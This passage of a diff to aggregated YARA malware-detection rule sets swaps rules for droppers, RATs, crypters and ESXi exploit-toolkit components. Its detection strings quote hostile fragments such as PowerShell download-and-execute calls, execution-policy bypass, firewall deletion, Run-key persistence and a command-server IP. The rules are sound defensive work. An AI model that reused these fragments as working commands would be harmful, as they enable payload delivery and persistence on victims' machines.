FILE { meta: description = "No description has been set in the source file - SecuInfra" author = "SECUINFRA Falcon Team" - id = "c62cbe3f-9585-56c0-bb09-83a36437abda" - date = "2022-02-27" + id = "a07f80e4-56c3-5b75-be64-648bc1fde964" + date = "2022-02-19" modified = "2022-02-27" - reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L84-L97" - license_url = "N/A" - logic_hash = "7d19b433785684ce1d2b008b3fdd36b22c5c82bfec476c787dfa025080b6178d" - score = 65 - quality = 70 - tags = "PE, FILE" - - strings: - $netsh_delete = "netsh firewall delete" wide - $netsh_add = "netsh firewall add" wide - - condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and ( $netsh_delete or $netsh_add ) -} -rule SECUINFRA_SUS_Unsigned_APPX_MSIX_Installer_Feb23 -{ - meta: - description = "Detects suspicious, unsigned Microsoft Windows APPX/MSIX Installer Packages" - author = "SECUINFRA Falcon Team (@SI_FalconTeam)" - id = "beaf08a8-a1c3-5d9c-b7cb-81a49c5bc2ec" - date = "2023-02-01" - modified = "2023-02-07" - reference = "https://twitter.com/SI_FalconTeam/status/1620500572481945600" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/SUS_Unsigned_APPX_MSIX_Installer_Feb23.yar#L1-L22" + reference = "https://bazaar.abuse.ch/browse.php?search=tag%3AVjw0rm" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/Vjw0rm.yar#L2-L19" license_url = "N/A" - logic_hash = "ad3f0545b2fe285adf67f053c8b422126a1bdff1b6835631280442495d975d16" - score = 50 - quality = 30 - tags = "" - tlp = "CLEAR" + logic_hash = "e5cc23431239e8a650369729050809cf6fe2acc58941086f79ce004b4f506eed" + score = 75 + quality = 20 + tags = "JAVASCRIPT, DROPPER, VJW0RM, FILE" + version = "0.1" strings: - $s_manifest = "AppxManifest.xml" - $s_block = "AppxBlockMap.xml" - $s_peExt = ".exe" - $sig = "AppxSignature.p7x" + $a1 = "$$$" + $a2 = "microsoft.xmldom" + $a3 = "eval" + $a4 = "join(\"\")" condition: - uint16be( 0x0 ) == 0x504B and 2 of ( $s* ) and not $sig + ( uint16( 0 ) == 0x7566 or uint16( 0 ) == 0x6176 or uint16( 0 ) == 0x0a0d or uint16( 0 ) == 0x660a ) and filesize < 60KB and all of ( $a* ) } -rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll_1 : POWERSHELL DOWNLOAD FILE +rule SECUINFRA_DROPPER_WSHRAT_Stage_1 : FILE { meta: - description = "Detect a Download to %temp% and execution with rundll32.exe" + description = "Detects the first stage of WSHRAT as obfuscated JavaScript" author = "SECUINFRA Falcon Team" - id = "6b09a6f0-29c6-5baf-ae64-7aa49a37a9d3" - date = "2022-09-02" + id = "3bd363dc-3183-595e-931b-668eb17495f5" + date = "2022-11-02" modified = "2022-02-27" - reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L1-L17" + reference = "https://bazaar.abuse.ch/sample/ad24ae27346d930e75283b10d4b949a4986c18dbd5872a91f073334a08169a14/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/wshrat.yar#L1-L18" license_url = "N/A" - logic_hash = "4d7860dc94614b10bc0eea0189ad9b964399d4ee6404ebeaef40720c716c592d" - score = 65 + hash = "793eff1b2039727e76fdd04300d44fc6" + logic_hash = "1390929d06bd1259dbab425fd4e953119f632be460f57756a0c226e9f510d75a" + score = 75 quality = 70 - tags = "POWERSHELL, DOWNLOAD, FILE" + tags = "FILE" strings: - $location = "$Env:temp" nocase - $download = "downloadfile(" nocase - $rundll = "rundll32.exe" + $a1 = "'var {0} = WS{1}teObject(\"ado{2}am\");" + $b1 = "String[\"prototype\"]" + $b2 = "this.replace(" + $b3 = "Array.prototype" condition: - filesize < 100KB and $location and $download and $rundll + filesize < 1500KB and $a1 and #b3 > 3 and #b1 > 2 and $b2 } -rule SECUINFRA_SUSP_Powershell_Base64_Decode : POWERSHELL B64 FILE +rule SECUINFRA_DROPPER_Unknown_1 : DROPPER HTA FILE { meta: - description = "Detects PowerShell code to decode Base64 data. This can yield many FP" + description = "Detects unknown HTA Dropper" author = "SECUINFRA Falcon Team" - id = "7cb01c0b-d7e3-5196-b78d-f41765ba0368" - date = "2022-02-27" - modified = "2022-02-27" - reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L19-L31" + id = "70c06b9d-8474-5b6e-bd9c-d45a25585ee9" + date = "2022-10-02" + modified = "2022-02-19" + reference = "https://bazaar.abuse.ch/sample/c2bf8931028e0a18eeb8f1a958ade0ab9d64a00c16f72c1a3459f160f0761348/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/unknown.yar#L1-L21" license_url = "N/A" - logic_hash = "b323089ac61823d969d04a05890ad9fffe8589165d4b026b08e9fd633d4247de" - score = 60 - quality = 50 - tags = "POWERSHELL, B64, FILE" + hash = "1749f4127bba3f7204710286b1252e14" + logic_hash = "d02874514bcb6c3603d1bfee702ec9e18c15153bc14a55ca8d637308c3f35a75" + score = 75 + quality = 43 + tags = "DROPPER, HTA, FILE" strings: - $b64_decode = "[System.Convert]::FromBase64String(" + $a1 = "<script type=\"text/vbscript\" LANGUAGE=\"VBScript\" >" + $a2 = "Function XmlTime(t)" + $a3 = "C:\\ProgramData\\" + $a4 = "wscript.exe" + $a5 = "Array" nocase + $b = "chr" nocase condition: - filesize < 500KB and $b64_decode + filesize < 70KB and all of ( $a* ) and #b > 7 } -rule SECUINFRA_SUS_Unsigned_APPX_MSIX_Manifest_Feb23 +rule SECUINFRA_DROPPER_Asyncrat_VBS_February_2022_1 : FILE { meta: - description = "Detects suspicious Microsoft Windows APPX/MSIX Installer Manifests" - author = "SECUINFRA Falcon Team (@SI_FalconTeam)" - id = "f24f7e03-3cc5-5214-b6d2-205b69898636" - date = "2023-02-01" - modified = "2023-02-07" - reference = "https://twitter.com/SI_FalconTeam/status/1620500572481945600" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/SUS_Unsigned_APPX_MSIX_Manifest_Feb23.yar#L1-L25" + description = "No description has been set in the source file - SecuInfra" + author = "SECUINFRA Falcon Team" + id = "80f84c2f-7af0-55c1-bc06-d605beae3e33" + date = "2022-02-21" + modified = "2022-02-21" + reference = "https://bazaar.abuse.ch/sample/06cd1e75f05d55ac1ea77ef7bee38bb3b748110b79128dab4c300f1796a2b941/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/asyncrat.yar#L2-L18" license_url = "N/A" - logic_hash = "4e3de25fdad9d76cefbb191424a739368b521c4f234656c397f4122debe749fa" - score = 65 + logic_hash = "80c86b0cbb7382135bb9ae8c80ac42f499081fe1fe48fadf21f0e136bcc04358" + score = 75 quality = 70 - tags = "" - tlp = "CLEAR" + tags = "FILE" strings: - $xlmns = "http://schemas.microsoft.com/appx/manifest/" - $identity = "OID.2.25.311729368913984317654407730594956997722=1" - $s_entrypoint = "EntryPoint=\"Windows.FullTrustApplication\"" - $s_capability = "runFullTrust" - $s_peExt = ".exe" + $a1 = "http://3.145.46.6/" + $b1 = "Const HIDDEN_WINDOW = 0" + $b2 = "GetObject(\"winmgmts:\\\\" + $c = "replace(" condition: - uint32be( 0x0 ) == 0x3C3F786D and $xlmns and $identity and 2 of ( $s* ) + filesize < 10KB and ( $a1 or ( all of ( $b* ) and #c > 10 ) ) } -rule SECUINFRA_SUSP_LNK_Staging_Directory : FILE +rule SECUINFRA_DROPPER_Njrat_VBS : VBS NJRAT DROPPER FILE { meta: - description = "Detects typical staging directories being referenced inside lnk files" + description = "No description has been set in the source file - SecuInfra" author = "SECUINFRA Falcon Team" - id = "459ed2e6-133c-5cde-bf49-95bf8a5eb8c8" + id = "5296667a-2932-597e-8f49-b7fa755cb387" date = "2022-02-27" modified = "2022-02-27" - reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/lnk.yar#L31-L46" + reference = "https://bazaar.abuse.ch/sample/daea0b5dfcc3e20b75292df60fe5f0e16a40735254485ff6cc7884697a007c0d/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/njrat.yar#L2-L23" license_url = "N/A" - logic_hash = "3f2a04702b39bce48fc85aa68f39e6062c3b5ee37667eb086222a866a5e438e4" - score = 65 + logic_hash = "7640be8850992ee7f05e85e1f781b4c63ccf958cf62da8deacfe9bb116627ceb" + score = 75 quality = 70 - tags = "FILE" + tags = "VBS, NJRAT, DROPPER, FILE" strings: - $header = {4c00 0000 0114 0200 0000} - $public = "$env:public" wide + $a1 = "[System.Convert]::FromBase64String( $Codigo.replace(" wide + $a2 = "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt" wide + $b1 = "CreateObject(\"WScript.Shell\")" wide + $b2 = "\"R\" + \"e\" + \"p\" + \"l\" + \"a\" + \"c\" + \"e\"" wide + $b3 = "BBBB\" + \"BBBBBBB\" + \"BBBBBBB\" + \"BBBBBBBB" wide + $b4 = "& DGRP & NvWt & DGRP &" wide + $b5 = "= ogidoC$" wide condition: - filesize < 20KB and ( $header at 0 ) and $public + filesize < 300KB and ( ( 1 of ( $a* ) ) or ( 2 of ( $b* ) ) ) } /* * YARA Rule Set * Repository Name: RussianPanda * Repository: https://github.com/RussianPanda95/Yara-Rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: dff551be45bf6382c3d31dea2e9105147ee32e79 * Number of Rules: 103 * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance) @@ -166964,332 +166911,299 @@ rule SECUINFRA_SUSP_LNK_Staging_Directory : FILE * * NO LICENSE SET */ -rule RUSSIANPANDA_Danabot +rule RUSSIANPANDA_Smartapesg_JS_Netsupportrat_Stage2 : FILE { meta: - description = "Detects DanaBot" + description = "Detects SmartApeSG JavaScript Stage 2 retrieving NetSupportRAT" author = "RussianPanda" - id = "804604d9-db3b-5678-ae0d-67f0e876c93e" - date = "2023-12-01" - modified = "2023-12-01" + id = "2a614e11-be32-5bf1-9fd1-da224f0a644e" + date = "2024-01-11" + modified = "2024-01-12" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/DanaBot/danabot_yara.yar#L1-L17" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SmartApeSG/SmartApeSG_JS_NetSupportRAT_stage2.yar#L1-L23" license_url = "N/A" - logic_hash = "4968531f27fa1a8bc3fca536a04b75277adefc42addb9f1999c564510cbcb684" + hash = "67d8f84b37732cf85e05b327ad6b6a9f" + logic_hash = "5a2afaa14d513e0a3c4e52acfb433e53a4541983a05d15318a217c14dc06453c" score = 75 - quality = 83 - tags = "" + quality = 85 + tags = "FILE" strings: - $s1 = {55 8b ec 8a 45 08 34 4a 5d c2 04 00} - $s2 = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 5C 00 53 00 65 00 61 00 4D 00 6F 00 6E 00 6B 00 65 00 79} - $s3 = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 20 00 54 00 68 00 75 00 6E 00 64 00 65 00 72 00 62 00 69 00 72 00 64 00} - $s4 = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 4F 00 52 00 4C 00 5C 00 57 00 69 00 6E 00 56 00 4E 00 43 00 33 00 5C 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64} - $s5 = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 45 00 78 00 63 00 69 00 74 00 65 00 5C 00 50 00 72 00 69 00 76 00 61 00 74 00 65 00 4D 00 65 00 73 00 73 00 65 00 6E 00 67 00 65 00 72 00 5C 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64} - $a = {44 45 4C 50 48 49 43 4C 41 53 53} + $x1 = "powershell.exe -Ex Bypass -NoP -C $" + $x2 = "Get-Random -Minimum -1000 -Maximum 1000" + $s1 = "HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run" + $s2 = "=new ActiveXObject('W" + $s3 = "System.Net.WebClient).DownloadString($" + $s4 = "FromBase64String" + $s5 = "Start-Process -FilePath $" condition: - 3 of ( $s* ) and $a + filesize < 1MB and ( ( 1 of ( $x* ) and 3 of them ) or 5 of them ) } - -rule RUSSIANPANDA_Ducktail_Mainbot : FILE +rule RUSSIANPANDA_Smartapesg_JS_Dropper_Stage1 : FILE { meta: - description = "Detects Ducktail mainbot" + description = "Detects SmartApeSG initial JavaScript file" author = "RussianPanda" - id = "f280903f-13d3-54e1-8308-781e3f777d13" - date = "2023-12-24" - modified = "2023-12-26" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ducktail/ducktail_mainbot-12-2023.yar#L3-L19" + id = "9513f323-c315-5ae2-92a5-c831d0a7ce2a" + date = "2024-01-11" + modified = "2024-01-11" + reference = "https://medium.com/walmartglobaltech/smartapesg-4605157a5b80" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SmartApeSG/SmartApeSG_JS_dropper_stage1.yar#L1-L18" license_url = "N/A" - logic_hash = "33b85c6e1e1137aeeb07eba957b73d738a70ddc561b42bd2d39258e90280fca4" + hash = "8769d9ebcf14b24a657532cd96f9520f54aa0e799399d840285311dfebe3fb15" + logic_hash = "de7e4ec30c780699b46de7baf2a916fdb7331da2ee7c2d637422ea664cd03b82" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {2F 00 61 00 70 00 69 00 2F 00 63 00 68 00 65 00 63 00 6B} - $s2 = {62 00 65 00 67 00 69 00 6E 00 20 00 63 00 6F 00 6E 00 6E 00 65 00 63 00 74} - $s3 = {62 00 65 00 67 00 69 00 6E 00 20 00 66 00 6C 00 75 00 73 00 68 00 20 00 64 00 6E 00 73} - $s4 = {62 00 65 00 67 00 69 00 6E 00 20 00 73 00 65 00 6E 00 64 00 69 00 6E 00 67} + $a1 = "'GE'+'T'" + $a2 = "'GE','T'" + $s1 = "pt.Creat" + $s2 = "L2.ServerX" + $s3 = "ponseText" + $s4 = "MLHTTP.6.0" + $s5 = /\/news\.php\?([0-9]|[1-9][0-9]|100)/ condition: - all of ( $s* ) and filesize < 12MB and pe.exports ( "DotNetRuntimeDebugHeader" ) + all of ( $s* ) and filesize < 1MB and any of ( $a* ) } -rule RUSSIANPANDA_Ducktail : FILE +rule RUSSIANPANDA_Mydriversys : FILE { meta: - description = "Ducktail Infostealer" + description = "Detects the malicious driver - MyDriver.sys" author = "RussianPanda" - id = "14ba165f-a1f3-5820-a6d8-e2b6ab2fbb51" - date = "2023-04-25" - modified = "2023-05-05" + id = "9b97acfd-21e8-5974-9f95-ecf7c561fada" + date = "2025-12-31" + modified = "2025-12-31" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ducktail/ducktail.yar#L1-L16" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_MyDriverSYS.yar#L1-L13" license_url = "N/A" - logic_hash = "cb248870f6945d7a6d60d54944dc726d40ba326448af39b87325ec56445602a5" + hash = "c3f8da7599468c11782c2332497b9e5013d98a1030034243dfed0cf072469c89" + logic_hash = "9eb5273dcd895aa861839119a7850461c52bb7f423301f7e0e03d8c382fa3ec9" score = 75 - quality = 73 + quality = 85 tags = "FILE" strings: - $s = {65 5f 73 71 6c 69 74 65 33 2e 64 6c 6c} - $s1 = {54 65 6c 65 67 72 61 6d 2e 42 6f 74 2e 64 6c 6c} - $s2 = {4e 65 77 74 6f 6e 73 6f 66 74 2e 4a 73 6f 6e 2e 64 6c 6c} - $s3 = {42 6f 75 6e 63 79 43 61 73 74 6c 65 2e 43 72 79 70 74 6f 2e 64 6c 6c} - $s4 = {53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 53 6f 63 6b 65 74 73 2e 43 6c 69 65 6e 74 2e 64 6c 6c} - $s5 = {53 79 73 74 65 6d 2e 4e 65 74 2e 4d 61 69 6c 2e 64 6c 6c} + $s1 = "SetGuestInfo 7 11111111" + $s2 = "found ESXi%d.%d build-%d" + $s3 = "current build is not surpported" condition: - all of them and filesize > 60MB + uint16( 0 ) == 0x5A4D and all of them } - -rule RUSSIANPANDA_Ducktail_Myrdpservice_Bot : FILE +rule RUSSIANPANDA_MAESTRO : FILE { meta: - description = "Detects Ducktail myRdpService bot" + description = "Detects MAESTRO payload" author = "RussianPanda" - id = "50786786-a7db-5290-a363-6fda139a0343" - date = "2023-12-24" - modified = "2023-12-26" + id = "c7684ab1-c7ac-504e-9402-ef0bd0b664b9" + date = "2025-12-31" + modified = "2025-12-31" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ducktail/ducktail_myrdpservice-12-2023.yar#L3-L17" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_MAESTRO.yar#L1-L14" license_url = "N/A" - logic_hash = "a329067fbb2acc34c4970167bbce0706c5a3ec09ee89ce16817c105ae1c17b1b" + hash = "37972a232ac6d8c402ac4531430967c1fd458b74a52d6d1990688d88956791a7" + logic_hash = "943a4508bae1a285efb05232de29463c3ca667c28fd97e0ec9fd2e88df76b6c0" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {43 00 3A 00 5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 54 00 65 00 6D 00 70 00 5C 00 64 00 65 00 76 00 69 00 63 00 65 00 49 00 64 00 2E 00 74 00 78 00 74} - $s2 = {6C 00 6F 00 67 00 5F 00 72 00 64 00 70 00 2A} - $s3 = {00 43 00 6F 00 6E 00 6E 00 65 00 63 00 74 00 65 00 64 00} + $s1 = "devcon.exe disable \"PCI\\VEN_15AD&DEV_0740\"" + $s2 = "devcon.exe disable \"ROOT\\VMWVMCIHOSTDEV\"" + $s3 = "Open SymbolicLink Failed" wide + $s4 = "Done!!!" ascii wide condition: - all of ( $s* ) and filesize < 12MB and pe.exports ( "DotNetRuntimeDebugHeader" ) + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Solarphantom : FILE +rule RUSSIANPANDA_Getshellplugin : FILE { meta: - description = "SolarPhantom Backdoor Detection" + description = "Detects GetShell Plugin (client)" author = "RussianPanda" - id = "f564a943-e83b-5c1b-ba8c-b227d69d3fd8" - date = "2023-06-22" - modified = "2023-12-11" - reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarphantom.yar#L1-L16" + id = "f20f1c80-a52a-5f3a-8bbd-915ef77e9850" + date = "2025-12-31" + modified = "2025-12-31" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_GetShellPlugin.yar#L1-L13" license_url = "N/A" - logic_hash = "3b49d301e625d5abf1b726481a80d6a97d33acd3301c12964f2f37d37130c1b7" + hash = "4614346fc1ff74f057d189db45aa7dc25d6e7f3d9b68c287a409a53c86dca25e" + logic_hash = "758339dc10eab3ae0fd743568ba356e91d2902ad6c8228095322903bdc00af6e" score = 75 - quality = 83 + quality = 85 tags = "FILE" strings: - $p1 = {B8 94 E3 46 00 E8 C6 EB FA FF 8B 45 F8} - $p2 = {68 E8 EF 46 00 FF 75 E4} - $p3 = {62 72 76 70 72 66 5f 62 6b 70} + $s1 = "InfDefaultInstall.exe .\\vsock.inf" + $s2 = "InfDefaultInstall.exe .\\vmci.inf" + $s3 = "invalid SERVER_CID:PORT" condition: - uint16( 0 ) == 0x5A4D and 1 of ( $p* ) and filesize < 600KB + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Solarmarker_Loader_PS2EXE : FILE +rule RUSSIANPANDA_Vsockpuppet : FILE { meta: - description = "Detects SolarMarker loader using PS2EXE" + description = "Detects VSOCKpuppet payload" author = "RussianPanda" - id = "837883a1-b657-52ae-95c4-ebafc8ac55de" - date = "2024-01-04" - modified = "2024-01-04" - reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarmarker_loader.yar#L1-L17" + id = "82ace9c6-5ca2-5665-8ed5-8fecfe54f12c" + date = "2025-12-31" + modified = "2025-12-31" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/linux_mal_VSOCKpuppet.yar#L1-L14" license_url = "N/A" - hash = "b45c31679c2516b38c7ff8c395f1d11d" - logic_hash = "4f579f350c3320e7b811cae0efe7302e852f59adc02d805f64ba464f8a995f25" + hash = "c3f8da7599468c11782c2332497b9e5013d98a1030034243dfed0cf072469c89" + logic_hash = "5c83b3303b092372da8ecd7cb8457a37e3f53042cdf8463fc8837208d34f09b6" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {72 7B 02 00 70 72 89 02 00 70 72 91 02 00 70 [22] 72 97 02 00 70 72 AB 02 00 70 72 B5 02 00 70} - $s2 = {13 0D 72 [3] 70} - $s3 = {72 C1 02 00 70 72 B2 03 00 70 72 B8 03 00 70} + $s1 = "received command:%s" + $s2 = "MCISock_GetAFValue failed" + $s3 = "recv_response failed" + $s4 = "send_msg_len failed" condition: - all of ( $s* ) and filesize > 200MB + uint32( 0 ) == 0x464C457F and all of them } -rule RUSSIANPANDA_Solardropper +rule RUSSIANPANDA_Cowtunnel : FILE { meta: - description = "SolarMarker first stage detection" + description = "Detects CowTunnel" author = "RussianPanda" - id = "8e40b001-ae00-5768-bb91-e45264748087" - date = "2023-06-22" - modified = "2024-01-03" - reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solardropper.yar#L1-L15" + id = "dc9f8416-0f5b-51d8-ad13-46ebe40af13a" + date = "2025-12-08" + modified = "2025-12-08" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/CowTunnel/linux_mal_CowTunnel.yar#L1-L13" license_url = "N/A" - logic_hash = "5dccb7be94e814335c0c867f8b3dd8855043375fe9f1235d5519c690fc7df842" + hash = "776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273" + logic_hash = "80c96d02e216331ec0b711ae1a1ee5fcf31df8847009afe23735abc3f8bd8ec9" score = 75 quality = 85 - tags = "" - - strings: - $p1 = {2d 00 71 00 71 00 78 00 74 00 72 00 61 00 63 00 74 00 3a 00 22 00 3c 00 66 00 69 00 6c 00 71 00 71 00 6e 00 61 00 6d 00 71 00 71 00 3e 00 22 00} - $p2 = "deimos.exe" - $p3 = {5e 00 2d 00 28 00 5b 00 5e 00 3a 00 20 00 5d 00 2b 00 29 00 5b 00 20 00 3a 00 5d 00 3f 00 28 00 5b 00 5e 00 3a 00 5d 00 2a 00 29 00 24 00} - - condition: - all of ( $p* ) -} -rule RUSSIANPANDA_Solarmarker_First_Stage_Payload : FILE -{ - meta: - description = "Detects SolarMarker First Stage payload" - author = "RussianPanda" - id = "56eec644-9ad7-51db-9d11-68ea3e12c36a" - date = "2024-01-30" - modified = "2024-01-30" - reference = "https://x.com/luke92881/status/1751968350689771966?s=20" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarmarker_first_stage_payload.yar#L1-L21" - license_url = "N/A" - hash = "f53563541293a826738d3b8f1164ea43" - logic_hash = "e704614782b0f3cba60c53413e889113d2d44f37e60801205e5ed5ff921b13ee" - score = 75 - quality = 71 tags = "FILE" strings: - $s1 = {63 72 65 64 75 69} - $s2 = {43 72 65 64 55 49 50 72 6F 6D 70 74 46 6F 72 43 72 65 64 65 6E 74 69 61 6C 73} - $s3 = {50 6F 77 65 72 53 68 65 6C 6C} - $s4 = {73 65 74 5F 43 75 72 73 6F 72 50 6F 73 69 74 69 6F 6E} - $s5 = {73 65 74 5F 41 63 63 65 70 74 42 75 74 74 6F 6E} - $s6 = {4D 65 73 73 61 67 65 42 6F 78 42 75 74 74 6F 6E 73} - $s7 = {41 67 69 6C 65 44 6F 74 4E 65 74 52 54} - $s8 = "_CorExeMain" + $s1 = "cannot create proxy service, it should not happenned!" + $s2 = "[nss] encrypt_data" + $s3 = "[nss] decrypt_data" condition: - all of them and filesize > 250MB + uint32( 0 ) == 0x464c457f and all of them } -rule RUSSIANPANDA_Solarmarker_Loader : FILE +rule RUSSIANPANDA_Purecrypter : FILE { meta: - description = "Detects SolarMarker loader 1-4-2024" + description = "Detects PureCrypter" author = "RussianPanda" - id = "b385fcd4-62b7-5a83-8a2e-6841fdd17526" - date = "2024-01-04" - modified = "2024-01-04" - reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarmarker_backdoor.yar#L3-L19" + id = "5670772c-ada1-55fa-b7fd-9dadd1756259" + date = "2024-01-09" + modified = "2024-01-09" + reference = "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PureCrypter/purecrypter.yar#L3-L22" license_url = "N/A" - hash = "8eeefe0df0b057fc866b8d35625156de" - logic_hash = "035eccb41f2ecdeb196003542c165cedad96e3e8e741511b4beda3dfe1ece74e" + hash = "566d8749e166436792dfcbb5e5514f18c9afc0e1314833ac2e3d86f37ff2030f" + logic_hash = "dd8592fa0b7d240d23235008601500a20e068032f6dcd6e90a38b06ac747b8af" score = 75 - quality = 85 + quality = 83 tags = "FILE" strings: - $s1 = {06 [0-7] 58 D1 8C [3] 01 28 [3] 0A 0A} + $s1 = {28 ?? 00 00 ?? 28 02 00 00 2B 28 ?? 00 00 (0A|06)} + $s2 = {73 ?? 00 00 0A} + $s3 = {73 ?? 00 00 06 6F ?? 00 00 06} + $s4 = {52 65 73 6F 75 72 63 65 4D 61 6E 61 67 65 72} + $s5 = {28 ?? 00 00 ?? 6F ?? 00 00 0A 28 03 00 00 2B ?? 6F ?? 00 00 0A 28 ?? 00 00 2B} condition: - all of ( $s* ) and #s1 > 5 and filesize < 7MB and pe.imports ( "mscoree.dll" ) + filesize < 6MB and 4 of ( $s* ) and dotnet.number_of_resources > 0 and dotnet.number_of_resources < 2 and dotnet.resources [ 0 ] . length > 300KB } -rule RUSSIANPANDA_Zharkbot : FILE -{ - meta: - description = "Detects ZharkBot, version 1.2.5" - author = "RussianPanda" - id = "e20875ed-a0a1-5ac8-8758-33766c522c17" - date = "2024-09-02" - modified = "2024-09-03" - reference = "https://research.openanalysis.net/zharkbot/triage/x64dbg/2024/09/02/zharkbot-config.html" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZharkBot/Zharkbot.yar#L1-L15" - license_url = "N/A" - hash = "1aa0622a744ec4d28a561bac60ec5e907476587efbadfde546d2b145be4b8109" - logic_hash = "fded6a0c7af4fda13619778669ef619f88b43e12f12284a3c551c4fddac01024" - score = 75 - quality = 85 - tags = "FILE" - - strings: - $s1 = "^[a-z]{8}$" - $s2 = "^d{6}$" - condition: - uint16( 0 ) == 0x5A4D and all of them and filesize < 500KB -} -rule RUSSIANPANDA_Zharkbot_1 : FILE +rule RUSSIANPANDA_Purecrypter_Core : FILE { meta: - description = "Detects ZharkBot" + description = "Detects PureCrypter Core payload" author = "RussianPanda" - id = "54213d76-7e27-559d-b653-5390a0c6813c" - date = "2024-01-21" - modified = "2024-03-12" - reference = "https://x.com/ViriBack/status/1749184882822029564?s=20" - source_url = 